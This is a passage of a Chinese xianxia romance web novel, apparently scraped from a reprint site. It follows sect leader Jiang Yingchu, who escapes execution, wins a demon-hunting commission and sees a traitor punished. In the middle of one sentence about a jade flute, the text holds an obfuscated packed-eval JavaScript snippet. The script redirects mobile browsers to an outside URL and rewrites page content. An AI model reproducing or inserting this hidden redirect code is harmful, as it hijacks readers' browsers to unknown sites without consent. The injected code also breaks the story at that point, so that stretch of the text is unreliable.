第二个瞬间,他悬崖勒马,想起小徒弟不容小觑的实力:她都问他在擦什么了,定然瞧出了端倪。 第三个瞬间,匕首化作玉笛,静静躺在言遮掌心。 姜盈初身心俱疲地进来,瞥见玉笛,问:“这也是你花七七四十九个时辰打磨出来的?” 言遮松了口气。 他摇头,张嘴就诓人:“九九八十一个时辰。” 姜盈初:…… “审讯堂怎么说?”言遮转移话题道。 姜盈初毫无感情,一字不落地复述:“灾星姜盈初,祸乱仙界,殃及后宫,明日午时行刑。” 隔壁三水正在竖起耳朵听墙角,听到这话,愕然抬眼。 怎么有人能如此事不关己地宣布自己的死刑?这得有多不怕死?这便是传闻中的视死如归吗? “嗯。”言遮也淡淡道。 三水:…… 两个怪人。 “你进牢里拿笛子干什么?”姜盈初问。 言遮:“陶冶情操。” “那你吹一曲我听听?” 言遮欣然点头,掐着玉笛抬手,轻置唇边。 然后……然后…… 姜盈初闭眼等了半天,却不闻一丝声响。 “怎么?”她睁眼问道。 晦暗中,言遮沉默了一瞬。 “吹不响。”他罕见窘迫,含糊而过,“刚刚说什么?明天行刑?你打算怎么办?” “噗——”姜盈初乐得笑出声。 她一边笑,一边伸手去从言遮手里拿笛子:“你不会吹,你还拿它陶冶哪门子——” 话头戛然而止。 姜盈初满脸错愕,云里雾里。 罪魁祸首无疑还是言遮。 小徒弟来索要笛子,言遮侧了个身,手腕一转,灵活地躲了过去。 见姜盈初盯着他,他犹豫片刻,石破天惊道:“乖,这是为师的笛子。” 潜台词便是:这是我的笛子,你就不要用嘴吹了。 琢磨出自己话里嫌弃人的意思,言遮看向姜盈初的目光十分小心。 不料姜盈初了然,毫不介意地点头。 她和这个师父非亲非故,要笛子之前的确没有考虑周全:这是他的笛子,就算他吹不响,那也轮不到自己来上嘴吹。 “唉,三水?”姜盈初侧身去和三水继续昨晚的话题。 言遮见状,没滋没味地看了眼手中笛子,兴致缺缺。 她怎么就不生气呢? 好吧,他其实明白。她不生气,因为他不在她心上。 幽暗的角落里,旺财的灵相挪到了言遮身边。 “你用这么嫌弃人的理由,可有点伤人心啊。”它替姜盈初吐槽道。 言遮冷笑一声。 心道:睁大你的畜生眼看一看,她可有半点伤心的样子? 长歌匕化作万相,都掩盖不了它是个武器的事实——而且是帝君的武器。 哪怕化作笛子,吹出来也是杀伤力一片的存在。 言遮不能吹响,也不能纵着小徒弟吹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16089214|179643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不过很快就能吹响了,言遮指腹摩挲着笛身,看着姜盈初和三水你一言我一语。 * 立春这一天,京都却被阴云笼罩着,众人面色严肃,气氛沉闷。 这是钦天监看中的好日子。 姜盈初被押司带到了金汤阁的行刑台,石台周围一圈严阵以待的修士。 再底下便是人头攒动,七嘴八舌。 她环顾四周,却没看见传闻中那个常年带着面具的阁主。 金汤阁在京都初有名气时,名气便来源于这位阁主的神秘。 无人知晓他的样貌,因为他面具不离脸。 也无人知晓他的声音,因为他每次出现在人前,声音总是千变万化。 登上行刑台时,姜盈初问旁边的押司:“你们阁主呢?” 押司两眼一黑,没想到仙门宗主死到临头,还能有空去关心别人。 “阁主在武场。”他回答说。 姜盈初“哦”了一声。 钦天监掐掐算算,把行刑的日子定到了今天。 景帝连忙照猫画虎,也看中了这个好日子,要在今天选初那位除魔之才。 金汤阁主想来是去那边坐镇了。 石台一侧,言遮和三水被押在后面。 待到姜盈初,行刑结束,他们也难逃一死。 “列阵!”见姜盈初走到石台中央,一众修士齐声高呼。 一圈火焰绕着石台窜起,修士一手执剑,一手掐诀。数条火舌从四面涌出,径直扑向一动不动的姜盈初。 * 金汤阁武场,不知是谁也使出了最低级的火阵,数个纠缠的身影在火光中若隐若现。 沙尘纷飞,刀光剑影。 “临野扼住了王沐岚的脖子,王沐岚看起来必败无疑。等等——王沐岚的剑突然从后方飞来了!”徐公公聚精会神,把场上战况转述给景帝。 景帝因为不敢看这么激烈的场面,正紧紧闭着眼。 待到耳畔风的呼啸声渐渐止息,景帝这才缓缓睁眼。 高台下,一个清瘦的少年负手而立,身影挺拔。 在他脚边,全然都是惨败的对手,败得落花流水,惨不忍睹。 “哈哈哈!”没等景帝说话,一道尖锐的笑声先响起。 金汤阁主闷着一个青面獠牙的面具,拍手赞道:“不愧是临野,不愧我的大弟子!” 说这句话的时候,他的声音又变得沉闷,和刚刚放肆的笑声截然不同。 景帝揉了揉自己的眼睛:“他手中没有法器?” “不错。”金汤阁主用一种小孩儿的声音说。 “咦?”景帝张大了嘴,“那他是怎么赢的?” 若是赤手空拳就撩到一片人的话,这实力未免恐怖! “皇上刚刚已经见过了。”金汤阁主指了指比试台下的石桩,那上边放着一颗泛着奇异光泽的石头。 这也是金汤阁和其他那些坑蒙拐骗门派的区别。 此乃认真修行的门派,还有个能测出凡人修为的石头。 “临野前些日子修为刚到真人初期。”金汤阁主解释说,“此时便人器合一,随心所欲。” 话落,他递给台下的临野一个眼神。 临野随意抬手,无数银丝便从他周身蔓延开。 他又打了个响指,铺天盖地的银丝又乖乖收了回去,人也变成了刚刚那个乖巧的少年郎。 景帝愣怔片刻,朗声大笑:“甚好!甚好!既如此,那这除魔的重任——” 黑压压的一片云飘过来,打断景帝。 众人眯眼,定睛一看才发现:这哪里是什么云?是有人御剑而来。 姜盈初不慌不忙,带着言遮和三水稳稳落地。 金汤阁的修士里也有会御剑之人,跌跌撞撞追着姜盈初。 提心吊胆半天的若柒柒见状,长舒一口气,眉眼染笑。 可惜除了她之外,在场没人能笑出声。 “这是?”若柒柒身旁,一个锦衣华服的男人问。 他看着台下,神色有些古怪。 若柒柒勾唇笑道:“白掌门,这位便是与你齐名的仙门宗主,姜盈初啊。” 白虎派掌门闻言,整个人坐得更僵了。 要知道,一两个月前,他给景帝献了不少珍稀玩意儿。就是为了把京都以南的门派从姜盈初手里夺过来。 “我就说那些修士奈何不了她!”若柒柒兴高采烈道,“对不对?” 白虎派掌门干巴巴地“哈”了一声。 姜盈初这会儿和一个死囚犯一样。 本该被处死的囚犯突然活灵活现在武场,实在是嚣张。 景帝胆小如鼠,对着姜盈初,不敢吭声。 金汤阁主收到了景帝求助的眼神,捏着嗓子开口:“姜盈初,你这是何意?听闻昨日在审讯堂里,你分明没有半点异议。” 姜盈初颔首:“处死我这个灾星,我自然没有异议。” “那你跑到这里做甚?” 姜盈初偏头不答,单膝朝景帝跪了下来,手中剑却没有丢。 她作揖抬眼,认真道:“听闻皇上要选一个除魔之人,臣女也愿一试。” 一石激起千层浪,满场哗然。 言遮摸着自己藏在袖中的笛子,无奈地闭了闭眼。 他原以为,在这里会是一场腥风血雨。于是擦亮了长歌匕,准备暗戳戳地帮她教训这些随风飘的墙头草。 不料小徒弟解决问题的方式实在太跳脱。 所有在武场的人此刻都有点儿懵。 趁众人还没反应过来,姜盈初起身,径直走向安安静静站在旁边的临野。 “是直接比试么?”她问。 临野满脸肃然,开口也十分平静:“不是。” 他指了指台下那颗金汤阁的奇石。 “要有一定的修为。”临野仔细地解释,“凡是没有飞升的人,修为即可被这块儿石头验出,此石共有七色。” “赤橙黄绿青蓝紫。修为在绿以上者,方有机会参加比试。” 姜盈初点头,“多谢。” 在场人人依旧都僵着不动,眼睁睁看着姜盈初缓步走向那颗石头。 此时,并非人人都还没反应过来事态。 有人不敢动。 也有人不想动,更想看看姜盈初的手摸上石头时,石头会发出什么颜色的光。 仙门宗主,修为到底处在哪一水平呢?大家都很好奇。 众目睽睽,姜盈初抬手,利落地搭上石头。 8. 晋江文学城 08[期限] 阴云沉沉,天色黯淡。 好像此刻天地间有颜色的,只有众人眼里姜盈初的那抹苍绿裙影。 只有姜盈初的身影。 连她手下的那颗石头都没有颜色。 骤起的狂风吹醒人的神志,大家眯眼仔细一瞧——豁!那颗石头是真的没有任何颜色! 姜盈初的手在上面覆了许久,石头依旧是那颗平平无奇的石头。 哪有像刚刚一般赤橙黄绿青蓝紫的光泽? 人群中渐渐掀起交头接耳的私语。 姜盈初站在石头前,表情也难得疑惑。 能测出修为的办法并非只有这颗石头:飞升上神时的雷劫,可教人清楚自己的修为。 而在上神和普通人之间,还有个“真人”的水平。 凡人想修到真人的水平,时机到后,也会有一道源于自然的劫数。 或风或雪,或烈日,或暴雨。 总之,没有雷劫那么凶猛。 姜盈初清楚,她修成真人的那道劫已经顺利渡过——几年前,言遮把她从那场雪里捞出来的时候。 眼下的情况,会不会是这颗石头只能感应到普通人的水平呢? “若是它泛起紫色光泽,那这位修士的修为会在什么水平呢?”姜盈初问。 台上,金汤阁主发出低沉的爆笑:“凡是没有飞升的修士,我这石头都能测出其修为。” 为了证明,他还特意指了指临野:“临野前些日子刚修到真人。” 临野会意,听话地把自己的手放在了石头上。 须臾间,石头泛起温润的深蓝色光芒。 “宗主如果习惯花拳绣腿,只会御个剑玩玩儿,还是请回吧。”金汤阁主讥笑着。 事态似乎十分明晰。 若是有人飞升上神,那雷劫定会引人注目。众所周知,姜盈初并没有经历雷劫,那她的修为定能被石头感应到。 眼下石头毫无变化的情况,只能是——姜盈初的修为实在浅薄? “无妨。”姜盈初淡定转身,稳稳握剑上前,“石头坏了也有可能。” 金汤阁主狂妄的笑声戛然而止。 姜盈初这么评价金汤阁的奇石,他显然受到了冒犯。 姜盈初没有理会他的态度,也没理会任何人的脸色。她礼貌地给临野作揖,示意开始比试。 考虑到对方才修到真人不久,姜盈初把剑掷在一边,好心道:“我让你三招。” 这话一出,又是满场惊呼,恍若池畔蛙鸣不断。 一般来说,给对手说出这种话时,对手会有两种反应:平静接受。亦或觉得尊严受到了冒犯,果断拒绝。 临野却没有任何反应,在双双眼睛的注视中,看向了台上冒寒气的金汤阁主。 阁主轻点头。 临野正身,也点头。点头的幅度都照搬阁主的,分毫不差。 高手比试,三招足以致命,足以定局势。 何况在众人眼里,姜盈初就是一个连修为都没有,硬靠武力的人。 这种人和一位真人比试,还要让对方三招? 众人不约都挂上一副默哀相:自寻死路,无药可救。 果然,临野的三招动作迅疾如风,残影生风。 眨眼的功夫,台上就不见姜盈初的身影—— 临野的银丝化作一个大蛹,她被困其中,只剩一个脑袋露在外面。 看起来,姜盈初动弹不得。 胜局已定,三招毕,临野停了手。 看着蛾状姜盈初的恬静脸庞,他后知后觉涌上几分不好意思:她都让了自己三招,自己出手却毫不留情。 嘶——这显得自己有点儿欺负人。 在人群的唏嘘声中,被姜盈初丢在一边的浮生剑缓缓升起,而后顶着无数目光,绕着姜盈初转了一圈。 全然是不知道该怎么闯进去的样子。 唏嘘声一浪更比一浪高。 啧,这剑都握不到手里,何谈杀招?何谈赢? 结果下一秒,就见姜盈初轻微动了动身子,所有绕着她的银丝化作漫天碎屑,洋洋洒洒。 临野愣怔,众人拼命揉眼睛。 这银丝是什么时候碎的?难不成那把剑刚刚转一圈的时候? 可那只是短短瞬间啊,不过一圈,就神不知鬼不觉地把银丝划得稀碎? 有人看着浮生剑,默默抱臂,生怕下个瞬间自己也会被划成肉沫。 在临野没来得及做出任何反应的时候,浮生剑已经架在他的脖子上。 鸦雀无声。 姜盈初收了剑,欠身,还有些愧疚地说:“我的错。” 临野:“?” 姜盈初:“我该让你五招才对。现在这般,显得我有点儿欺负人了。” 临野:“……” 他第一次体验到这种无话可说,无言以对的感觉。 “我赢了。”姜盈初言简意赅道,她看了眼金汤阁主,“你那石头或许真的坏了,该修。” 金汤阁主凝噎,同样无言无语。 姜盈初又向景帝作揖:“臣女赢了。” 景帝:…… 景帝伸手擦了擦自己额角豆大的汗珠。 旺财不知什么时候从云清台溜了出来,这会儿正在言遮脚边看热闹。 看到姜盈初彻底压制一行人的场面,它忍不住感叹:“平时怎么没看出小姜姜这么可怕呐?” 言遮喃喃重复:“可怕?” “是啊,可怕,太可怕了!”旺财谨记任务,什么时候都想提醒帝君,“这就是魔头相,你看见了不?现在是不是意识到你该马上动手了?” 言遮喉间溢出一声轻笑:“可怕么?” 旺财想要回答。 “嗯,挺可爱的。”言遮抢先自问自答道。 旺财:“……” “你觉得什么是可爱?”旺财在地上打了个滚,问:“我可爱么?” 言遮眉头蹙起,惨不忍睹地移开眼,继续含笑看着台上小徒弟的身影。 旺财:…… 帝君的眼睛果真不同凡人,对“可爱”的理解也怪诞得吓人。 * 姜盈初赢得风光,景帝左右找不出个理由,只好不情不愿地准备下旨。 君无戏言。 好在君言要出口前的那一刻,有人闪了出来,和姜盈初并排而立。 白虎派掌门,白鑫。 “臣觉得如此不妥!”白鑫大声道。 景帝立马顺势问:“哦?” 白鑫目视前方:“姜盈初头顶灾星之称,且将要行刑。如若让一介灾星领了除魔的差事,恐难服众!” 姜盈初善意地提醒他:“我赢了比试,且这比试没有定灾星不能参加的规矩。” 那是不知道你会跑来参加!白鑫心中腹诽,如若知道你会节外生枝出现在这里,这种规矩肯定是要定的! 龙椅上,景帝犯难,也附和道:“是啊,姜宗主赢了比试。” 他纠结半晌,突然面露喜色,仿佛找到了折中之计。 “那朕便插手一下钦天监的事务,免了你的死刑,如何?”景帝眼巴巴地问。 姜盈初握剑的手用了几分力,“臣女赢了比试,寻个除魔之人的比试。” 景帝也是个人精,对姜盈初的话不闻不问,话锋一转道:“你可还有其他什么愿望?” “有。”姜盈初沉吟瞬间,指了指台下的言遮和三水,“既能免去臣女的刑法,那这两个被臣女连累之人……” “免!自然也得免!”景帝不假思索,“可还有别的?” “有。”姜盈冲又点头,“臣女赢了比试。” 发现绕不开这个话题的景帝很头疼,“这个嘛,像刚刚白掌门所言——” “臣收回刚才的话。”白鑫突然道,“既然姜宗主有这个实力,那除魔之人无疑得是她。 景帝一头雾水。 他拦着姜盈初,本来就是因为白鑫给自己送的那些玩意儿,怎么白鑫现在改了口? 众人摸不着头脑之际,就听白鑫又言:“只是除魔之重任,不能没个期限。否则一除八年十载,领了差事的不作为,该如何是好?” 他阴森森地盯着姜盈初。 好问题,问得姜盈初陷入沉思。她在认真地想,该给自己多长时间呢? 她想到了各大门派被灭,想到了那个挑扁担的老妇人,想到了丽妃…… 想到了这段时间的种种疑云。 她又想到了谷雨,想到了大雨峰主,想到了沐阳山一众弟子…… 想到了所有被卷进这些疑云里丧命的人。 片刻,姜盈初抬眼。 她没有对着白鑫回答,微微仰头,沉声道:“一年。” 豁!这个宗主有点疯。 众人都没有想到,姜宗主为了跟白掌门置气,会定下一年这么急匆匆的日子。 姜盈初主动给出了这么紧迫的回答,白鑫也无话可说。 一年之内除掉魔头——怎么看都像个死差。 * 仙门宗主接下除魔重任的消息很快在京都传开。 “那位宗主被白掌门一逼迫,自己先急了,当即立了个惊天大誓!”说书先生猛地一拍醒木,深深吸气,悠悠道来:“她说,她要在一年之内办了这除魔的差事!” 底下听客愣怔过后,摇头唏嘘。 “她再想证明自己,也不能给皇上交代一个这么短的期限啊!” 只有路过茶楼的姜盈初知道,这个期限不是她给景帝的交代,也不是给白鑫的交代。 这是她给自己的交代。 所以听到茶楼里这些叹息的声音,姜盈初不屑地嗤笑了一声。 她加快脚步,目若冰霜。 不过使她目若冰霜的原因,可不是茶楼里这些不值一提的声音。 而是此刻手里攥着的那封信。 半个时辰前,姜盈初收到了一封信。 沐阳山里出了个叛徒,她现在赶着去瞧一瞧叛徒的尊容。 金汤阁隐在城中,姜盈初费力地找了半天,才摸到一条迂回的石阶。 顺阶而上,七步经一门。 道两旁的龙梅应是用了术法,大朵大朵,一簇一簇地开。 姜盈初泡在淡淡的梅香里,心头蓦然涌上几分似曾相识的感觉,可又说不清什么让她觉得熟悉。 一朵碎花孤零零地躺在石板上。 姜盈初俯身,伸出葱白手指,捡拾这朵花。 * 金汤阁层层楼宇最后的宫殿里,闻项抬手,拿起了桌上的面具。 不远处跪地的李良辰看见这一幕,心里倒吸一口凉气。 他竟不知闻项就是赫赫有名的金汤阁主。 但李良辰的接受能力一等一好,须臾就认下了这个事实,还感到忽然轻松。 他本来还不知道金汤阁主招自己来有何事,提心吊胆。 好在阁主就是闻项,他悬着的心又放了下来。 “上仙找我,可是有什么事?”李良辰问。 闻项变了声音,尖声尖气道:“如你所愿,眼下姜盈初平安无事。可她接了除魔的差事,多风光呐,这可不是我想要的结果。” 李良辰脸上浮现出疑惑的神色:“上仙不是意在毁了沐阳山吗?” 闻项坐了下来,单手扶额,轻嗤道:“人心不满足嘛,就像本仙派你去姜盈初身边做事,你却节外生枝,起了不该有的心思。” 好似一道惊雷从脑海里炸开。 李良辰愕然地跪了下来,嗫嚅无言。 殿里气氛冷到极点,恍若回到了那年在西梁的冬天。 西梁,东洲边境,毗邻别国。 烽火狼烟时,李良辰是一个人如口音的小卒,老实,胆小。 战前一夜的天黑沉沉,可在李良辰眼里,天却是那么红,月也那么红。 他在心里喃喃道:东洲的月亮流血了,血染红了天。 这事儿多奇怪呐,要告诉阿娘。 李良辰想翻个身,想把睡在一旁的阿娘喊醒。 结果,他突然发现自己动不了一点。 哦,他现在跟数十人挤在一顶毡帐里,自然动不了。 李良辰唰地睁开眼。 他现在跟数十人挤在一顶毡帐里!那睡在他旁边的阿娘呢? 他仔细地想,拼命地想,绞尽脑汁地想。终于想了起来——他娘早死了。 钻出毡帐,李良辰发现天不是红的,月亮也青白。 红的是地!红的是大地啊! 地上血流成河,尸体如山。 李良辰僵着身子,左右张望,然后在一座尸山下看到了自己的脸。 是啊,明日天光乍破,他的血就会这么流一地,他的身子就会任马蹄踏过,他的一生就这么草草结束。 越想越怕,越想越怕……老实又胆小的李良辰决定逃跑。 他边跑边小心回头,边抹泪边低声骂:“一群王八羔子!一群泼皮无赖,自己要打这破仗,自己又缩在后面当王八!就欺负我们这些贱骨头——” “是吗?”前方,一道声音懒洋洋地问。 李良辰登时吓得跪地,浑身血液凝固。 眼前这人赫然是大帅。 李良辰绝望地闭上了眼:这下好,不用等明日战死沙场,他今日就能人头落地。 可出乎意料的是,闻项并没有怪他,反而将他留在了身边,让他成功在这一战里苟活下来。 自那以后,李良辰便追随闻项,直到闻项主动向他说了自己是修士,要他去姜盈初身边潜伏着。 “怎么不说话?”闻项指节轻点桌案,问。 李良辰说不出来什么话。 闻项戴着个小孩儿咧嘴笑的面具,憨态可掬。 “你把你腰间那个香囊送我,如何?”他问,“你把香囊送我,我就不计较你节外生枝的事儿了。” 李良辰点头,解下香囊。 但他并没有立即给闻项,而是先从香囊里抽出来了一张符纸,再把香囊递上。 这张符纸源于姜盈初。 李良辰接近姜盈初的手段也是闻项安排的,他的计策十分毒辣,把李良辰直接丢进了狼窝。 看着周围眼泛绿光的恶狼,李良辰心很凉:此情此景,姜盈初来救他,就是以身犯险。 她应该不会管自己吧?自己应该会死在这里吧? 狼群突然激动起来,李良辰连忙紧紧闭眼。 各种咆哮过后,天地安静,李良辰都要怀疑自己已经魂魄出了窍——直到一滴温热的血溅在他脸上。 姜盈初神色凝重,疾步上前:“你没事儿吧?” 她胳膊被咬了一口,血淋淋的,却好似感受不到疼一样。 “喏,把这个装到你的香囊里。”姜盈初画了张符,递给李良辰,“我听他们说你常居山中,野兽出没,倒也危险。” 她的神情认真,发丝随风飞扬。 李良辰愣了片刻。 这会儿,闻项接过他递来的空香囊,也愣了片刻。 他低低地笑了起来,配上笑盈盈的面具,显得心情愉悦。 李良辰松了口气,也赔笑两声。 想笑第三声的时候,他的眼珠突然瞪大,满脸恐惧。 他发现自己说不出话了! 闻项还在笑,笑着笑着,猛地停顿。 “你抽了符纸,难不成是以为我看上了你这破香囊的绣工?”他狠戾地问。忽而起身,仔细地围着李良辰打量一圈,“啧,我记得你会写字。” 李良辰连忙抱住了自己的胳膊。 下一瞬,他的两条胳膊又有气无力地垂了下来,任凭他如何挣扎,胳膊就是动不了,赫然成了两条点缀! “阁主,人来了。”下人来报。 闻项愉悦地应了一声。 李良辰的心里瞬间涌上不好的预感,踉跄地站起身,想要逃窜。 慌乱中,他看见了来人的身影,又瞬间走不动道了。 “金汤阁主。”来人唤道。 闻项拱手招呼:“姜宗主。” 下人来添茶倒水,姜盈初没有理会,她开门见山地问:“阁主信上所言,可有证据?” “哈哈哈,那自然是有的。”闻项笑道,拍手,空中浮现出一面云雾的镜子。 李良辰看向镜中——那镜中浮现出一个熟悉的身影,是自己! 镜中,李良辰鬼鬼祟祟,将符纸埋在了山上各处。 画面一转,天雷轰轰,那些埋了符纸的地方纷纷被击中,妖火蔓延。 闻项又挥了挥手。 只见沐阳山鬼哭狼嚎一片时,李良辰正在客栈里闭目养神。 姜盈初攥紧了手,骨节泛白,但并没有失去理智。 她问:“阁主为何告诉我这些?我又如何分辨这画面是真是假?” 闻项发出一串银铃般的笑声,嗓音变得清脆:“自然是我有事相求了。至于真假——此乃识海之相,宗主如若不放心,自行探查便是。” 姜盈初一愣,“你是上神?” “那怎么可能呢?”闻项反问,他在心里默默答到:吾乃上仙。 “那你怎会进人识海?”姜盈初不解。 闻项继续扯谎:“秘术怎可外传?” 姜盈初:…… “昨夜他来向我投诚。”闻项指了指李良辰,“说使得沐阳山满门被灭的人正是他。” “可惜我这人不喜叛主的走狗,便用了进人识海,窥人记忆的术法。宗主见谅。” 殿内一时无言。 李良辰拼了命地张嘴,挣扎着想要为自己辩解——可他根本就发不出一点声音。 姜盈初也注意到了,问:“这是?” “术法对人总会有点影响的嘛。”闻项笑呵呵地答。 微风吹进殿内,帷幔轻盈起舞。姜盈初默然片刻,提剑问:“你要求我什么事?” 伴随着闻项的咳嗽声,清瘦的少年从屏风后走出。 是昨日刚败在姜盈初手下的临野。 “临野是我最看重的弟子。”闻项语重心长,“本想让他领了除魔的差事去历练,可这差事却被你夺走了。” 姜盈初纠正道:“被我赢走了。” “哈哈哈——”闻项尬笑两声,“是,被宗主赢走了。我想求宗主去除魔时捎上他,他打个下手也好,怎么都算历练一番。” 说得好听,是送个打下手的伙计。 说得直白,是安插个监视的眼线。 姜盈初不悦地皱起了眉。 闻项察言观色,不等她拒绝,连忙又补充道:“若是宗主答应,我定竭力再替宗主办成一件事。” 办成一件事……姜盈初倒还真有好多件事无从下手。 想了想,她点头说:“可以。我的确也有事相求。” “宗主但说无妨。” 姜盈初:“能否劳烦阁主替我探查一个人的消息?” 闻项:“谁?” 姜盈初:“闻项。” 闻项:……哈? 姜盈初觉得闻项一定有问题。 那日席上,他说出的那番话,和自己记忆的重合度实在是高。 姜盈初怀疑他是故意为之,故意的背后,必有隐情。 “阁主可能办成?”她问。 闻项郑重点头:“定当竭尽全力。” 让他自己调查自己,真新鲜啊。 双方协商成功,达成一致。姜 盈初侧身,终于正眼看向李良辰。 “他今后都是废人一个了么?”姜盈初问。 闻项:“不错。” 得知什么消息都不能再问出,姜盈初眼底划过一丝遗憾,而后带着临野步若流星地往外走。 闻项很吃惊,高喊:“宗主,你不处理这条走狗吗?” 姜盈初抬了下手,意味不明。 闻项满头雾水之际,余光瞥见身侧火苗翕动。 那符纸凭空自燃,一圈烈焰将李良辰困于其中。 烈火焚身,偏偏李良辰有口难言,哪怕痛得钻心剜骨,却都嚎不出一声。 意识消散之际,他想到了那年姜盈初的话。 彼时他跪倒在她身边,低声下气,小心翼翼:“我愿誓死追随侠女!” 姜盈初笑得很温婉:“誓死到不用,一心便可。” 李良辰身形猛地一震。 要知道,他可是闻项派来的人,实在无法一心追随她。 鬼使神差,他故作玩笑地问了一句:“敢问侠女,如若我有二心了呢?” “那你怕是死到临头了。”姜盈初同样轻松地说。 玩笑还是认真话?李良辰那时没有分辨出来。 现在他知道了。 现在他也确实死到临头了。 * 除魔之行的人基本敲定下来。 师父和师父的猫是必需品,即便姜盈初不带,他们也会狗皮膏药一样贴上来。 临野是金汤阁主送来的狗皮膏药,和阁主做交易换来,更是丢不掉。 三水——三水是有特殊能力的小孩儿,除魔之行需要他。 姜盈初算来算去,发现队伍已经差不多成形。 还剩一个无法确定的若柒柒,她明后天去宫里问问即可。 而此刻,天色昏暗下去,城中灯火渐起,这四人一猫依旧泡在云清台的藏书阁。 本来姜盈初来这里的藏书阁,只想碰碰运气,没抱多大希望。 毕竟云清台说白了,就是一个接待修士的客栈。 不料一脚刚踏入藏书阁的门槛,除魔之任务就有了重大的进展。 临野眼神似乎格外好,运气也好上天,一进来就发现一本泛黄的古籍,记载了关于魔的一条重要消息。 魔者,并非天生就是魔,而是生来具有容易化魔的灵根。 哪怕是魔头,也只是灵根极其容易化魔。 不过化魔之后的实力则会无比强悍,翻手为云覆手为雨。 凡人化魔,需在短时间内彻底经历人间七苦:生,老,病,死,怨憎会,爱别离,求不得。 至于这些劫数都如何经历,在何处经历之类的问题,古籍上没有记载,姜盈初也无从知晓。 她只好调兵遣将,连旺财都抱进了藏书阁,想再发现一点有用的东西。 不过她的兵将并非都是精兵。 其中以师父为代表,最显无用。 临野和姜盈初埋头于书架间,一卷接一卷地翻。 窗边案旁,言遮捧着书卷百无聊赖,旺财睡得鼾声连天。 三水倒是在聚精会神地看书,时不时嘴角上扬,恍若看见了什么重要的字句。 言遮见状,心里诧异。 他闲得发慌,逗小孩儿道:“喂,你笑得这么开心,难不成是发现了什么?” 书本缓缓下移,挡住下方勾起的嘴角,露出上方黑溜溜的一双眼睛。 三水警惕地看着对面的病秧子。 嗯,病秧子。 这是三水这几日对言遮最深刻的印象。 而且他发现,这个病秧子的病很蹊跷,每次咳嗽都有规律可循。 饭菜不可口,他咳; 被人忽视了,他咳; 姜盈初和自己多说几句话,他也咳。 三水看不惯把咳嗽当手段的小人,不想搭理他。 可惜言遮兴致来了,百折不挠,不罢休地问:“唉,你发现什么了?先给我说说呗。” 三水冷傲地别过头。 下一瞬,他发现自己手里一空,而后又立马多出一本书。 但不是原来看的那本了。 三水气鼓鼓地抬眼,妄图用眼神杀言遮千百遍。 偏偏言遮是杀不死的顽物。 他懒洋洋地笑,哄人也漫不经心:“你就适合看这种全是图画的,乖。” 受到侮辱的三水一蹦而起,挣扎着要从言遮手里抢自己的书。 “哎哟,你这小孩儿,怎么好赖不分。”言遮后退,一边把抢来的书举得更高,一边故作用心良苦:“你的脑子就这么大,你看太多的字,脑子装不下了,人就傻喽。” “木偶的图画儿难不成没有字好看?你看,细线一提,这木头人能跑能跳的,多好。” 三水气得蹦蹦跳跳:“我十岁了,不是小孩儿!” 言遮:“咱俩谁小?” 三水:“……” 言遮:“你不是小孩儿,难道我是小孩儿?” 三水:“……” 三水只好跑去书架,踮脚又给自己拉了一本出来,而后牢牢护在怀里,和言遮保持着十万八千里的距离。 言遮心满意足地眯了眯眼,鸠占鹊巢地看起了抢来的书。 一目十行地上下扫完,他忍不住挑眉。 这哪里是什么和寻魔有关的书? 这是儿女情长的话本子,写的故事也让言遮皱眉。 写了一个年轻的姑娘,和一个比她大许多的秀才相恋。 相恋前万般坎坷,可真恋起来,却没恋几天。 情人变仇人,姑娘挥着手绢怒骂:“一把老骨头,等你入土了,我还正值妙龄!” 言遮看到这儿就扔了书,闭眼轻揉眉心。 旺财一觉睡醒,迷迷糊糊间看到帝君满脸惆怅的样子,吓得睡意全无。 “咋啦咋啦?”它忙用心声问道。 言遮幽幽地看过来,笑意寒凉:“我一把老骨头了,眼睛不舒服,很正常。” 旺财:? 它不知道帝君在发哪门子疯。 一连两个时辰,言遮都把“老”字挂在嘴边,神情幽怨,又夹杂着那么几分莫名的委屈。 旺财觉得自己后背发凉。 跟了这么一个主子,可谓猫生渺茫。 知道夜很深,一无所获到一群人不得不往出走时,姜盈初注意到了她师父的落寞。 “风大,外袍系好。”姜盈初抬手,理了理言遮的狐裘领子。 云清台树上挂着小石灯,泛着衰弱的光,照得言遮的神情晦暗,语气也更显幽幽:“我一把老骨头,不挨冻也是——” “是么?”姜盈初打断他,随口道:“我怎么没看出来你老?” 明眼人都能看出来,姜盈初纯属没有心思闲聊,在很敷衍地结束谈话。 偏偏帝君眼瞎,看不出来。 旺财惊悚地发现,小姜姜随口一句话,自己主子又恢复了正常。 这个现象不正常。 帝君也不正常。 “我们明天去哪里呀?”三水在灯下踢着小石子,问。 姜盈初叹息一声,道:“早上我进宫去找个人,午时启程去沐阳山。” 三水:“我们不是要除魔吗?去沐阳山干什么?” 此话一出,在场几双眼睛都朝三水看来,三水浑身一震。 “去沐阳山收尸。”姜盈初心累地解释。 对于三水,姜盈初告诫自己,一定要有耐心。 这个小孩儿虽然看起来活蹦乱跳,可实乃在凄风苦雨中长大的野草。 年方十岁,却在七岁时就被爹娘轰了出来。 因为他似乎能预知未来的能力,人人将其避如蛇蝎。 这不,流浪至京都,还差点因为预言了丽妃的死而丧命。 所以姜盈初看他,总有种同病相怜的感觉。 “收尸?”三水童言无忌地重复道。 言遮的手已经从后面幽幽伸出,想捂住这张提及小徒弟伤心事的破嘴。 三水却抢在被他捂嘴之前问道:“你为什么不去雷泽看看呢?” “什么?”姜盈初问。 她知道雷泽是东洲南边的地方,却不知道此刻三水提及它的含义。 三水指了指藏书阁的方向:“我今天才看到的,雷泽紧挨无妄海,无妄海里有能让人起死回生的草药呢。” 几人皆是一愣,彼此对视,而后默契地朝藏书阁狂奔过去。 * 此刻狂奔的人不止姜盈初,还有在宫里的若柒柒。 她一溜烟跑进自己宫里,脸色黑青,十分骇人,活脱脱是和人干架的神情。 侍女小心翼翼地唤她:“殿下?” 若柒柒忽然起身,同手同脚地往内走。 